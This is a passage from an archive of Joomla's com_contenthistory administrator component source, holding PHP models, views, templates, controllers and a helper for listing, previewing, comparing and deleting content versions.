
					$result[] = $object;
				}

				return $result;
			}
		}

		$this->setError(\JText::_('COM_CONTENTHISTORY_ERROR_VERSION_NOT_FOUND'));

		return false;
	}

	/**
	 * Method to test whether a record is editable
	 *
	 * @param   JTableContenthistory  $record  A JTable object.
	 *
	 * @return  boolean  True if allowed to edit the record. Defaults to the permission set in the component.
	 *
	 * @since   3.6
	 */
	protected function canEdit($record)
	{
		$result = false;

		if (!empty($record->ucm_type_id))
		{
			// Check that the type id matches the type alias
			$typeAlias = JFactory::getApplication()->input->get('type_alias');

			/** @var JTableContenttype $contentTypeTable */
			$contentTypeTable = JTable::getInstance('Contenttype', 'JTable');

			if ($contentTypeTable->getTypeId($typeAlias) == $record->ucm_type_id)
			{
				/**
				 * Make sure user has edit privileges for this content item. Note that we use edit permissions
				 * for the content item, not delete permissions for the content history row.
				 */
				$user   = JFactory::getUser();
				$result = $user->authorise('core.edit', $typeAlias . '.' . (int) $record->ucm_item_id);
			}

			// Finally try session (this catches edit.own case too)
			if (!$result)
			{
				$contentTypeTable->load($record->ucm_type_id);
				$typeEditables = (array) JFactory::getApplication()->getUserState(str_replace('.', '.edit.', $contentTypeTable->type_alias) . '.id');
				$result = in_array((int) $record->ucm_item_id, $typeEditables);
			}
		}

		return $result;
	}
}
com_contenthistory/models/preview.php000060400000007344152455305260014166 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_contenthistory
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('ContenthistoryHelper', JPATH_ADMINISTRATOR . '/components/com_contenthistory/helpers/contenthistory.php');

/**
 * Methods supporting a list of contenthistory records.
 *
 * @since  3.2
 */
class ContenthistoryModelPreview extends JModelItem
{
	/**
	 * Method to get a version history row.
	 *
	 * @return  stdClass|boolean    On success, standard object with row data. False on failure.
	 *
	 * @since   3.2
	 */
	public function getItem()
	{
		/** @var JTableContenthistory $table */
		$table = JTable::getInstance('Contenthistory');
		$versionId = JFactory::getApplication()->input->getInt('version_id');

		if (!$table->load($versionId))
		{
			return false;
		}

		// Get the content type's record so we can check ACL
		/** @var JTableContenttype $contentTypeTable */
		$contentTypeTable = JTable::getInstance('Contenttype');

		if (!$contentTypeTable->load($table->ucm_type_id))
		{
			// Assume a failure to load the content type means broken data, abort mission
			return false;
		}

		$user = JFactory::getUser();

		// Access check
		if ($user->authorise('core.edit', $contentTypeTable->type_alias . '.' . (int) $table->ucm_item_id) || $this->canEdit($table))
		{
			$return = true;
		}
		else
		{
			$this->setError(JText::_('JERROR_ALERTNOAUTHOR'));

			return false;
		}

		// Good to go, finish processing the data
		if ($return == true)
		{
			$result = new stdClass;
			$result->version_note = $table->version_note;
			$result->data = ContenthistoryHelper::prepareData($table);

			// Let's use custom calendars when present
			$result->save_date = JHtml::_('date', $table->save_date, JText::_('DATE_FORMAT_LC6'));

			$dateProperties = array (
				'modified_time',
				'created_time',
				'modified',
				'created',
				'checked_out_time',
				'publish_up',
				'publish_down',
			);

			foreach ($dateProperties as $dateProperty)
			{
				if (property_exists($result->data, $dateProperty) && $result->data->$dateProperty->value != '0000-00-00 00:00:00')
				{
					$result->data->$dateProperty->value = JHtml::_('date', $result->data->$dateProperty->value, JText::_('DATE_FORMAT_LC6'));
				}
			}

			return $result;
		}
	}

	/**
	 * Method to test whether a record is editable
	 *
	 * @param   JTableContenthistory  $record  A JTable object.
	 *
	 * @return  boolean  True if allowed to edit the record. Defaults to the permission set in the component.
	 *
	 * @since   3.6
	 */
	protected function canEdit($record)
	{
		$result = false;

		if (!empty($record->ucm_type_id))
		{
			// Check that the type id matches the type alias
			$typeAlias = JFactory::getApplication()->input->get('type_alias');

			/** @var JTableContenttype $contentTypeTable */
			$contentTypeTable = JTable::getInstance('Contenttype', 'JTable');

			if ($contentTypeTable->getTypeId($typeAlias) == $record->ucm_type_id)
			{
				/**
				 * Make sure user has edit privileges for this content item. Note that we use edit permissions
				 * for the content item, not delete permissions for the content history row.
				 */
				$user   = JFactory::getUser();
				$result = $user->authorise('core.edit', $typeAlias . '.' . (int) $record->ucm_item_id);
			}

			// Finally try session (this catches edit.own case too)
			if (!$result)
			{
				$contentTypeTable->load($record->ucm_type_id);
				$typeEditables = (array) JFactory::getApplication()->getUserState(str_replace('.', '.edit.', $contentTypeTable->type_alias) . '.id');
				$result = in_array((int) $record->ucm_item_id, $typeEditables);
			}
		}

		return $result;
	}
}
com_contenthistory/views/history/view.html.php000060400000001733152455305260015771 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_contenthistory
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * View class for a list of contenthistory.
 *
 * @since  3.2
 */
class ContenthistoryViewHistory extends JViewLegacy
{
	protected $items;

	protected $pagination;

	protected $state;

	/**
	 * Method to display the view.
	 *
	 * @param   string  $tpl  A template file to load. [optional]
	 *
	 * @return  mixed  Exception on failure, void on success.
	 *
	 * @since   3.2
	 */
	public function display($tpl = null)
	{
		$this->state = $this->get('State');
		$this->items = $this->get('Items');
		$this->pagination = $this->get('Pagination');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		return parent::display($tpl);
	}
}
com_contenthistory/views/history/tmpl/modal.php000060400000022240152455305260016120 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_contenthistory
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
JSession::checkToken('get') or die(JText::_('JINVALID_TOKEN'));

JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');
JHtml::_('bootstrap.tooltip', '.hasTooltip', array('placement' => 'bottom'));
JHtml::_('behavior.multiselect');
JHtml::_('jquery.framework');

$input = JFactory::getApplication()->input;
$field = $input->getCmd('field');
$function = 'jSelectContenthistory_' . $field;
$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn = $this->escape($this->state->get('list.direction'));
$message = JText::_('COM_CONTENTHISTORY_BUTTON_SELECT_ONE', true);
$compareMessage = JText::_('COM_CONTENTHISTORY_BUTTON_SELECT_TWO', true);
JText::script('JLIB_HTML_PLEASE_MAKE_A_SELECTION_FROM_THE_LIST');
$deleteMessage = "alert(Joomla.JText._('JLIB_HTML_PLEASE_MAKE_A_SELECTION_FROM_THE_LIST'));";
$aliasArray = explode('.', $this->state->type_alias);
$option = (end($aliasArray) == 'category') ? 'com_categories&amp;extension=' . implode('.', array_slice($aliasArray, 0, count($aliasArray) - 1)) : $aliasArray[0];
$filter = JFilterInput::getInstance();
$task = $filter->clean(end($aliasArray)) . '.loadhistory';
$loadUrl = JRoute::_('index.php?option=' . $filter->clean($option) . '&amp;task=' . $task);
$deleteUrl = JRoute::_('index.php?option=com_contenthistory&task=history.delete');
$hash = $this->state->get('sha1_hash');
$formUrl = 'index.php?option=com_contenthistory&view=history&layout=modal&tmpl=component&item_id=' . $this->state->get('item_id') . '&type_id='
	. $this->state->get('type_id') . '&type_alias=' . $this->state->get('type_alias') . '&' . JSession::getFormToken() . '=1';

JFactory::getDocument()->addScriptDeclaration("
	(function ($){
		$(document).ready(function (){
			$('#toolbar-load').click(function() {
				var ids = $('input[id*=\'cb\']:checked');
				if (ids.length == 1) {
					// Add version item id to URL
					var url = $('#toolbar-load').attr('data-url') + '&version_id=' + ids[0].value;
					$('#content-url').attr('data-url', url);
					if (window.parent) {
						window.parent.location = url;
					}
				} else {
					alert('" . $message . "');
				}
			});

		$('#toolbar-preview').click(function() {
				var windowSizeArray = ['width=800, height=600, resizable=yes, scrollbars=yes'];
				var ids = $('input[id*=\'cb\']:checked');
				if (ids.length == 1) {
					// Add version item id to URL
					var url = $('#toolbar-preview').attr('data-url') + '&version_id=' + ids[0].value;
					$('#content-url').attr('data-url', url);
					if (window.parent) {
						window.open(url, '', windowSizeArray);
						return false;
					}
				} else {
					alert('" . $message . "');
				}
			});

			$('#toolbar-compare').click(function() {
				var windowSizeArray = ['width=1000, height=600, resizable=yes, scrollbars=yes'];
				var ids = $('input[id*=\'cb\']:checked');
				if (ids.length == 2) {
					// Add version item ids to URL
					var url = $('#toolbar-compare').attr('data-url') + '&id1=' + ids[0].value + '&id2=' + ids[1].value;
					$('#content-url').attr('data-url', url);
					if (window.parent) {
						window.open(url, '', windowSizeArray);
						return false;
					}
				} else {
					alert('" . $compareMessage . "');
				}
			});
		});
	})(jQuery);
	"
);

?>
<div class="container-popup">

	<div class="btn-group pull-right">
		<button id="toolbar-load" type="submit" class="btn hasTooltip" aria-label="<?php echo JText::_('COM_CONTENTHISTORY_BUTTON_LOAD_DESC'); ?>" title="<?php echo JText::_('COM_CONTENTHISTORY_BUTTON_LOAD_DESC'); ?>" data-url="<?php echo JRoute::_($loadUrl); ?>">
			<span class="icon-upload" aria-hidden="true"></span><span class="hidden-phone"><?php echo JText::_('COM_CONTENTHISTORY_BUTTON_LOAD'); ?></span></button>
		<button id="toolbar-preview" type="button" class="btn hasTooltip" aria-label="<?php echo JText::_('COM_CONTENTHISTORY_BUTTON_PREVIEW_DESC'); ?>" title="<?php echo JText::_('COM_CONTENTHISTORY_BUTTON_PREVIEW_DESC'); ?>" data-url="<?php echo JRoute::_('index.php?option=com_contenthistory&view=preview&layout=preview&tmpl=component&' . JSession::getFormToken() . '=1'); ?>">
			<span class="icon-search" aria-hidden="true"></span><span class="hidden-phone"><?php echo JText::_('COM_CONTENTHISTORY_BUTTON_PREVIEW'); ?></span></button>
		<button id="toolbar-compare" type="button" class="btn hasTooltip" aria-label="<?php echo JText::_('COM_CONTENTHISTORY_BUTTON_COMPARE_DESC'); ?>" title="<?php echo JText::_('COM_CONTENTHISTORY_BUTTON_COMPARE_DESC'); ?>" data-url="<?php echo JRoute::_('index.php?option=com_contenthistory&view=compare&layout=compare&tmpl=component&' . JSession::getFormToken() . '=1'); ?>">
			<span class="icon-zoom-in" aria-hidden="true"></span><span class="hidden-phone"><?php echo JText::_('COM_CONTENTHISTORY_BUTTON_COMPARE'); ?></span></button>
		<button onclick="if (document.adminForm.boxchecked.value==0){<?php echo $deleteMessage; ?>}else{ Joomla.submitbutton('history.keep')}" class="btn pointer hasTooltip" aria-label="<?php echo JText::_('COM_CONTENTHISTORY_BUTTON_KEEP_DESC'); ?>" title="<?php echo JText::_('COM_CONTENTHISTORY_BUTTON_KEEP_DESC'); ?>">
			<span class="icon-lock" aria-hidden="true"></span><span class="hidden-phone"><?php echo JText::_('COM_CONTENTHISTORY_BUTTON_KEEP'); ?></span></button>
		<button onclick="if (document.adminForm.boxchecked.value==0){<?php echo $deleteMessage; ?>}else{ Joomla.submitbutton('history.delete')}" class="btn pointer hasTooltip" aria-label="<?php echo JText::_('COM_CONTENTHISTORY_BUTTON_DELETE_DESC'); ?>" title="<?php echo JText::_('COM_CONTENTHISTORY_BUTTON_DELETE_DESC'); ?>">
			<span class="icon-delete" aria-hidden="true"></span><span class="hidden-phone"><?php echo JText::_('COM_CONTENTHISTORY_BUTTON_DELETE'); ?></span></button>
	</div>

	<div class="clearfix"></div>
	<hr class="hr-condensed" />

	<form action="<?php echo JRoute::_($formUrl); ?>" method="post" name="adminForm" id="adminForm">
		<table class="table table-striped table-condensed">
			<thead>
				<tr>
					<th width="1%" class="center">
						<input type="checkbox" name="checkall-toggle" value="" title="<?php echo JText::_('JGLOBAL_CHECK_ALL'); ?>" onclick="Joomla.checkAll(this)" />
					</th>
					<th width="15%">
						<?php echo JText::_('JDATE'); ?>
					</th>
					<th width="15%" class="nowrap hidden-phone">
						<?php echo JText::_('COM_CONTENTHISTORY_VERSION_NOTE'); ?>
					</th>
					<th width="10%" class="nowrap">
						<?php echo JText::_('COM_CONTENTHISTORY_KEEP_VERSION'); ?>
					</th>
					<th width="15%" class="nowrap hidden-phone">
						<?php echo JText::_('JAUTHOR'); ?>
					</th>
					<th width="10%" class="nowrap center">
						<?php echo JText::_('COM_CONTENTHISTORY_CHARACTER_COUNT'); ?>
					</th>
				</tr>
			</thead>
			<tfoot>
				<tr>
					<td colspan="15">
						<?php echo $this->pagination->getListFooter(); ?>
					</td>
				</tr>
			</tfoot>
			<tbody>
			<?php $i = 0; ?>
			<?php foreach ($this->items as $item) : ?>
				<tr class="row<?php echo $i % 2; ?>">
					<td class="center">
						<?php echo JHtml::_('grid.id', $i, $item->version_id); ?>
					</td>
					<td>
						<a class="save-date" onclick="window.open(this.href,'win2','width=800,height=600,resizable=yes,scrollbars=yes'); return false;"
							href="<?php echo JRoute::_('index.php?option=com_contenthistory&view=preview&layout=preview&tmpl=component&' . JSession::getFormToken() . '=1&version_id=' . $item->version_id); ?>">
							<?php echo JHtml::_('date', $item->save_date, JText::_('DATE_FORMAT_LC6')); ?>
						</a>
						<?php if ($item->sha1_hash == $hash) : ?>
							<span class="icon-featured" aria-hidden="true"><span class="element-invisible"><?php echo JText::_('JFEATURED'); ?></span></span>&nbsp;
						<?php endif; ?>
					</td>
					<td class="hidden-phone">
						<?php echo htmlspecialchars($item->version_note); ?>
					</td>
					<td>
						<?php if ($item->keep_forever) : ?>
							<a class="btn btn-mini active" rel="tooltip" href="javascript:void(0);"
								onclick="return listItemTask('cb<?php echo $i; ?>','history.keep')"
								data-original-title="<?php echo JText::_('COM_CONTENTHISTORY_BUTTON_KEEP_TOGGLE_OFF'); ?>">
								<?php echo JText::_('JYES'); ?>&nbsp;<span class="icon-lock" aria-hidden="true"></span>
							</a>
						<?php else : ?>
							<a class="btn btn-mini active" rel="tooltip" href="javascript:void(0);"
								onclick="return listItemTask('cb<?php echo $i; ?>','history.keep')"
								data-original-title="<?php echo JText::_('COM_CONTENTHISTORY_BUTTON_KEEP_TOGGLE_ON'); ?>">
								<?php echo JText::_('JNO'); ?>
							</a>
						<?php endif; ?>
					</td>
					<td class="hidden-phone">
						<?php echo htmlspecialchars($item->editor); ?>
					</td>
					<td class="center">
						<?php echo number_format((int) $item->character_count, 0, JText::_('DECIMALS_SEPARATOR'), JText::_('THOUSANDS_SEPARATOR')); ?>
					</td>
				</tr>
				<?php $i++; ?>
			<?php endforeach; ?>
			</tbody>
		</table>

		<input type="hidden" name="task" value="" />
		<input type="hidden" name="boxchecked" value="0" />
		<?php echo JHtml::_('form.token'); ?>

	</form>
</div>
com_contenthistory/views/preview/tmpl/preview.php000060400000002657152455305260016477 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_contenthistory
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
JSession::checkToken('get') or die(JText::_('JINVALID_TOKEN'));

?>
<h3>
<?php echo JText::sprintf('COM_CONTENTHISTORY_PREVIEW_SUBTITLE_DATE', $this->item->save_date); ?>
<?php if ($this->item->version_note) : ?>
	&nbsp;&nbsp;<?php echo JText::sprintf('COM_CONTENTHISTORY_PREVIEW_SUBTITLE', $this->item->version_note); ?>
<?php endif; ?>
</h3>
<table class="table table-striped" >
<thead><tr>
	<th width="25%"><?php echo JText::_('COM_CONTENTHISTORY_PREVIEW_FIELD'); ?></th>
	<th><?php echo JText::_('COM_CONTENTHISTORY_PREVIEW_VALUE'); ?></th>
</tr></thead>
<tbody>
<?php foreach ($this->item->data as $name => $value) : ?>
	<tr>
	<?php if (is_object($value->value)) : ?>
		<td><strong><?php echo $value->label; ?></strong></td>
		<td></td><tr>
		<?php foreach ($value->value as $subName => $subValue) : ?>
			<?php if ($subValue) : ?>
				<tr>
				<td><i>&nbsp;&nbsp;<?php echo $subValue->label; ?></i></td>
				<td><?php echo $subValue->value; ?></td>
				</tr>
			<?php endif; ?>
		<?php endforeach; ?>
	<?php else : ?>
		<td><strong><?php echo $value->label; ?></strong></td>
		<td><?php echo $value->value; ?></td>
	<?php endif; ?>
	</tr>
<?php endforeach; ?>
</tbody>
</table>
com_contenthistory/views/preview/view.html.php000060400000002140152455305260015742 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_contenthistory
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * View class for a list of contenthistory.
 *
 * @since  1.5
 */
class ContenthistoryViewPreview extends JViewLegacy
{
	protected $items;

	protected $state;

	/**
	 * Method to display the view.
	 *
	 * @param   string  $tpl  A template file to load. [optional]
	 *
	 * @return  mixed  Exception on failure, void on success.
	 *
	 * @since   3.2
	 */
	public function display($tpl = null)
	{
		$this->state = $this->get('State');
		$this->item  = $this->get('Item');

		if (false === $this->item)
		{
			JFactory::getLanguage()->load('com_content', JPATH_SITE, null, true);

			JError::raiseError(404, JText::_('COM_CONTENT_ERROR_ARTICLE_NOT_FOUND'));

			return false;
		}

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		return parent::display($tpl);
	}
}
com_contenthistory/views/compare/view.html.php000060400000001622152455305260015713 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_contenthistory
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * View class for a list of contenthistory.
 *
 * @since  3.2
 */
class ContenthistoryViewCompare extends JViewLegacy
{
	protected $items;

	protected $state;

	/**
	 * Method to display the view.
	 *
	 * @param   string  $tpl  A template file to load. [optional]
	 *
	 * @return  mixed  Exception on failure, void on success.
	 *
	 * @since   3.2
	 */
	public function display($tpl = null)
	{
		$this->state = $this->get('State');
		$this->items = $this->get('Items');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		return parent::display($tpl);
	}
}
com_contenthistory/views/compare/tmpl/compare.php000060400000011402152455305260016375 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_contenthistory
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
JSession::checkToken('get') or die(JText::_('JINVALID_TOKEN'));
$version2 = $this->items[0];
$version1 = $this->items[1];
$object1 = $version1->data;
$object2 = $version2->data;
JHtml::addIncludePath(JPATH_COMPONENT_ADMINISTRATOR . '/helpers/html');
JHtml::_('textdiff.textdiff', 'diff');

JFactory::getDocument()->addScriptDeclaration("
	(function ($){
		$(document).ready(function (){
            jQuery('.diffhtml, .diffhtml-header').hide();
        });
	})(jQuery);
"
);

?>
<fieldset>
<legend>
<?php echo JText::sprintf('COM_CONTENTHISTORY_COMPARE_TITLE'); ?>
<div class="btn-group pull-right">
&nbsp;<button id="toolbar-all-rows" class="btn hasTooltip" title="<?php echo JText::_('COM_CONTENTHISTORY_BUTTON_COMPARE_ALL_ROWS_DESC'); ?>"
	onclick="jQuery('.items-equal').show(); jQuery('#toolbar-all-rows').hide(); jQuery('#toolbar-changed-rows').show()"
	style="display:none" >
	<?php echo JText::_('COM_CONTENTHISTORY_BUTTON_COMPARE_ALL_ROWS'); ?></button>

<button id="toolbar-changed-rows" class="btn hasTooltip" title="<?php echo JText::_('COM_CONTENTHISTORY_BUTTON_COMPARE_CHANGED_ROWS_DESC'); ?>"
	onclick="jQuery('.items-equal').hide(); jQuery('#toolbar-all-rows').show(); jQuery('#toolbar-changed-rows').hide()">
	<?php echo JText::_('COM_CONTENTHISTORY_BUTTON_COMPARE_CHANGED_ROWS'); ?></button>

<button class="diff-header btn hasTooltip" title="<?php echo JText::_('COM_CONTENTHISTORY_BUTTON_COMPARE_HTML_DESC'); ?>"
	onclick="jQuery('.diffhtml, .diffhtml-header').show(); jQuery('.diff, .diff-header').hide()">
	<span class="icon-wrench" aria-hidden="true"></span> <?php echo JText::_('COM_CONTENTHISTORY_BUTTON_COMPARE_HTML'); ?></button>

<button class="diffhtml-header btn hasTooltip" title="<?php echo JText::_('COM_CONTENTHISTORY_BUTTON_COMPARE_TEXT_DESC'); ?>"
	onclick="jQuery('.diffhtml, .diffhtml-header').hide(); jQuery('.diff, .diff-header').show()">
	<span class="icon-pencil" aria-hidden="true"></span> <?php echo JText::_('COM_CONTENTHISTORY_BUTTON_COMPARE_TEXT'); ?></button>
</div>
</legend>
<table id="diff" class="table table-striped table-condensed">
<thead><tr>
	<th width="25%"><?php echo JText::_('COM_CONTENTHISTORY_PREVIEW_FIELD'); ?></th>
	<th style="display:none" />
	<th style="display:none" />
	<th><?php echo JText::sprintf('COM_CONTENTHISTORY_COMPARE_VALUE1', $version1->save_date, $version1->version_note); ?></th>
	<th><?php echo JText::sprintf('COM_CONTENTHISTORY_COMPARE_VALUE2', $version2->save_date, $version2->version_note); ?></th>
	<th class="diff-header"><?php echo JText::_('COM_CONTENTHISTORY_COMPARE_DIFF'); ?></th>
	<th class="diffhtml-header"><?php echo JText::_('COM_CONTENTHISTORY_COMPARE_DIFF'); ?></th>
</tr></thead>
<tbody>
<?php foreach ($object1 as $name => $value) : ?>
	<?php $rowClass = ($value->value == $object2->$name->value) ? 'items-equal' : 'items-not-equal'; ?>
	<tr class="<?php echo $rowClass; ?>">
	<?php if (is_object($value->value)) : ?>
		<td><strong><?php echo $value->label; ?></strong></td>
		<td /><td /><td />
		<?php foreach ($value->value as $subName => $subValue) : ?>
			<?php $newSubValue = isset($object2->$name->value->$subName->value) ? $object2->$name->value->$subName->value : ''; ?>
			<?php if ($subValue->value || $newSubValue) : ?>
				<?php $rowClass = ($subValue->value == $newSubValue) ? 'items-equal' : 'items-not-equal'; ?>
				<tr class="<?php echo $rowClass; ?>">
				<td><i>&nbsp;&nbsp;<?php echo $subValue->label; ?></i></td>
				<td class="originalhtml" style="display:none" ><?php echo htmlspecialchars($subValue->value, ENT_COMPAT, 'UTF-8'); ?></td>
				<td class="changedhtml" style="display:none" ><?php echo htmlspecialchars($newSubValue, ENT_COMPAT, 'UTF-8'); ?></td>
				<td class="original"><?php echo $subValue->value; ?></td>
				<td class="changed"><?php echo $newSubValue; ?></td>
				<td class="diff" />
				<td class="diffhtml" />
				</tr>
			<?php endif; ?>
		<?php endforeach; ?>
	<?php else : ?>
		<td><strong><?php echo $value->label; ?></strong></td>
		<td class="originalhtml" style="display:none" ><?php echo htmlspecialchars($value->value); ?></td>
		<?php $object2->$name->value = is_object($object2->$name->value) ? json_encode($object2->$name->value) : $object2->$name->value; ?>
		<td class="changedhtml" style="display:none" ><?php echo htmlspecialchars($object2->$name->value, ENT_COMPAT, 'UTF-8'); ?></td>
		<td class="original"><?php echo $value->value; ?></td>
		<td class="changed"><?php echo $object2->$name->value; ?></td>
		<td class="diff" />
		<td class="diffhtml" />
	<?php endif; ?>
	</tr>
<?php endforeach; ?>
</tbody>
</table>
</fieldset>
com_contenthistory/controllers/history.php000060400000005723152455305260015270 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_contenthistory
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Contenthistory list controller class.
 *
 * @since  3.2
 */
class ContenthistoryControllerHistory extends JControllerAdmin
{
	/**
	 * Deletes and returns correctly.
	 *
	 * @return	void
	 *
	 * @since	3.2
	 */
	public function delete()
	{
		$this->checkToken();

		// Get items to remove from the request.
		$cid = (array) $this->input->get('cid', array(), 'int');

		// Remove zero values resulting from input filter
		$cid = array_filter($cid);

		if (empty($cid))
		{
			JError::raiseWarning(500, JText::_('COM_CONTENTHISTORY_NO_ITEM_SELECTED'));
		}
		else
		{
			// Get the model.
			$model = $this->getModel();

			// Remove the items.
			if ($model->delete($cid))
			{
				$this->setMessage(JText::plural('COM_CONTENTHISTORY_N_ITEMS_DELETED', count($cid)));
			}
			else
			{
				$this->setMessage($model->getError());
			}
		}

		$this->setRedirect(
			JRoute::_(
				'index.php?option=com_contenthistory&view=history&layout=modal&tmpl=component&item_id='
				. $this->input->getInt('item_id') . '&type_id=' . $this->input->getInt('type_id')
				. '&type_alias=' . $this->input->getCmd('type_alias') . '&' . JSession::getFormToken() . '=1', false
			)
		);
	}

	/**
	 * Proxy for getModel.
	 *
	 * @param   string  $name    The name of the model
	 * @param   string  $prefix  The prefix for the model
	 * @param   array   $config  An additional array of parameters
	 *
	 * @return  JModelLegacy  The model
	 *
	 * @since   3.2
	 */
	public function getModel($name = 'History', $prefix = 'ContenthistoryModel', $config = array('ignore_request' => true))
	{
		return parent::getModel($name, $prefix, $config);
	}

	/**
	 * Toggles the keep forever value for one or more history rows. If it was Yes, changes to No. If No, changes to Yes.
	 *
	 * @return	void
	 *
	 * @since	3.2
	 */
	public function keep()
	{
		$this->checkToken();

		// Get items to remove from the request.
		$cid = (array) $this->input->get('cid', array(), 'int');

		// Remove zero values resulting from input filter
		$cid = array_filter($cid);

		if (empty($cid))
		{
			JError::raiseWarning(500, JText::_('COM_CONTENTHISTORY_NO_ITEM_SELECTED'));
		}
		else
		{
			// Get the model.
			$model = $this->getModel();

			// Remove the items.
			if ($model->keep($cid))
			{
				$this->setMessage(JText::plural('COM_CONTENTHISTORY_N_ITEMS_KEEP_TOGGLE', count($cid)));
			}
			else
			{
				$this->setMessage($model->getError());
			}
		}

		$this->setRedirect(
			JRoute::_(
				'index.php?option=com_contenthistory&view=history&layout=modal&tmpl=component&item_id='
				. $this->input->getInt('item_id') . '&type_id=' . $this->input->getInt('type_id')
				. '&type_alias=' . $this->input->getCmd('type_alias') . '&' . JSession::getFormToken() . '=1', false
			)
		);
	}
}
com_contenthistory/controllers/preview.php000060400000001531152455305260015241 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_contenthistory
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Contenthistory list controller class.
 *
 * @since  3.2
 */
class ContenthistoryControllerPreview extends JControllerLegacy
{
	/**
	 * Proxy for getModel.
	 *
	 * @param   string  $name    The name of the model
	 * @param   string  $prefix  The prefix for the model
	 * @param   array   $config  An additional array of parameters
	 *
	 * @return  JModelLegacy  The model
	 *
	 * @since   3.2
	 */
	public function getModel($name = 'Preview', $prefix = 'ContenthistoryModel', $config = array('ignore_request' => true))
	{
		return parent::getModel($name, $prefix, $config);
	}
}
com_contenthistory/helpers/contenthistory.php000060400000026020152455305260015750 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_contenthistory
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Categories helper.
 *
 * @since  3.2
 */
class ContenthistoryHelper
{
	/**
	 * Method to put all field names, including nested ones, in a single array for easy lookup.
	 *
	 * @param   stdClass  $object  Standard class object that may contain one level of nested objects.
	 *
	 * @return  array  Associative array of all field names, including ones in a nested object.
	 *
	 * @since   3.2
	 */
	public static function createObjectArray($object)
	{
		$result = array();

		if ($object === null)
		{
			return $result;
		}

		foreach ($object as $name => $value)
		{
			$result[$name] = $value;

			if (is_object($value))
			{
				foreach ($value as $subName => $subValue)
				{
					$result[$subName] = $subValue;
				}
			}
		}

		return $result;
	}

	/**
	 * Method to decode JSON-encoded fields in a standard object. Used to unpack JSON strings in the content history data column.
	 *
	 * @param   stdClass  $jsonString  Standard class object that may contain one or more JSON-encoded fields.
	 *
	 * @return  stdClass  Object with any JSON-encoded fields unpacked.
	 *
	 * @since   3.2
	 */
	public static function decodeFields($jsonString)
	{
		$object = json_decode($jsonString);

		if (is_object($object))
		{
			foreach ($object as $name => $value)
			{
				if ($subObject = json_decode($value))
				{
					$object->$name = $subObject;
				}
			}
		}

		return $object;
	}

	/**
	 * Method to get field labels for the fields in the JSON-encoded object.
	 * First we see if we can find translatable labels for the fields in the object.
	 * We translate any we can find and return an array in the format object->name => label.
	 *
	 * @param   stdClass           $object      Standard class object in the format name->value.
	 * @param   JTableContenttype  $typesTable  Table object with content history options.
	 *
	 * @return  stdClass  Contains two associative arrays.
	 *                    $formValues->labels in the format name => label (for example, 'id' => 'Article ID').
	 *                    $formValues->values in the format name => value (for example, 'state' => 'Published'.
	 *                    This translates the text from the selected option in the form.
	 *
	 * @since   3.2
	 */
	public static function getFormValues($object, JTableContenttype $typesTable)
	{
		$labels = array();
		$values = array();
		$expandedObjectArray = static::createObjectArray($object);
		static::loadLanguageFiles($typesTable->type_alias);

		if ($formFile = static::getFormFile($typesTable))
		{
			if ($xml = simplexml_load_file($formFile))
			{
				// Now we need to get all of the labels from the form
				$fieldArray = $xml->xpath('//field');
				$fieldArray = array_merge($fieldArray, $xml->xpath('//fields'));

				foreach ($fieldArray as $field)
				{
					if ($label = (string) $field->attributes()->label)
					{
						$labels[(string) $field->attributes()->name] = JText::_($label);
					}
				}

				// Get values for any list type fields
				$listFieldArray = $xml->xpath('//field[@type="list" or @type="radio"]');

				foreach ($listFieldArray as $field)
				{
					$name = (string) $field->attributes()->name;

					if (isset($expandedObjectArray[$name]))
					{
						$optionFieldArray = $field->xpath('option[@value="' . $expandedObjectArray[$name] . '"]');

						$valueText = null;

						if (is_array($optionFieldArray) && count($optionFieldArray))
						{
							$valueText = trim((string) $optionFieldArray[0]);
						}

						$values[(string) $field->attributes()->name] = JText::_($valueText);
					}
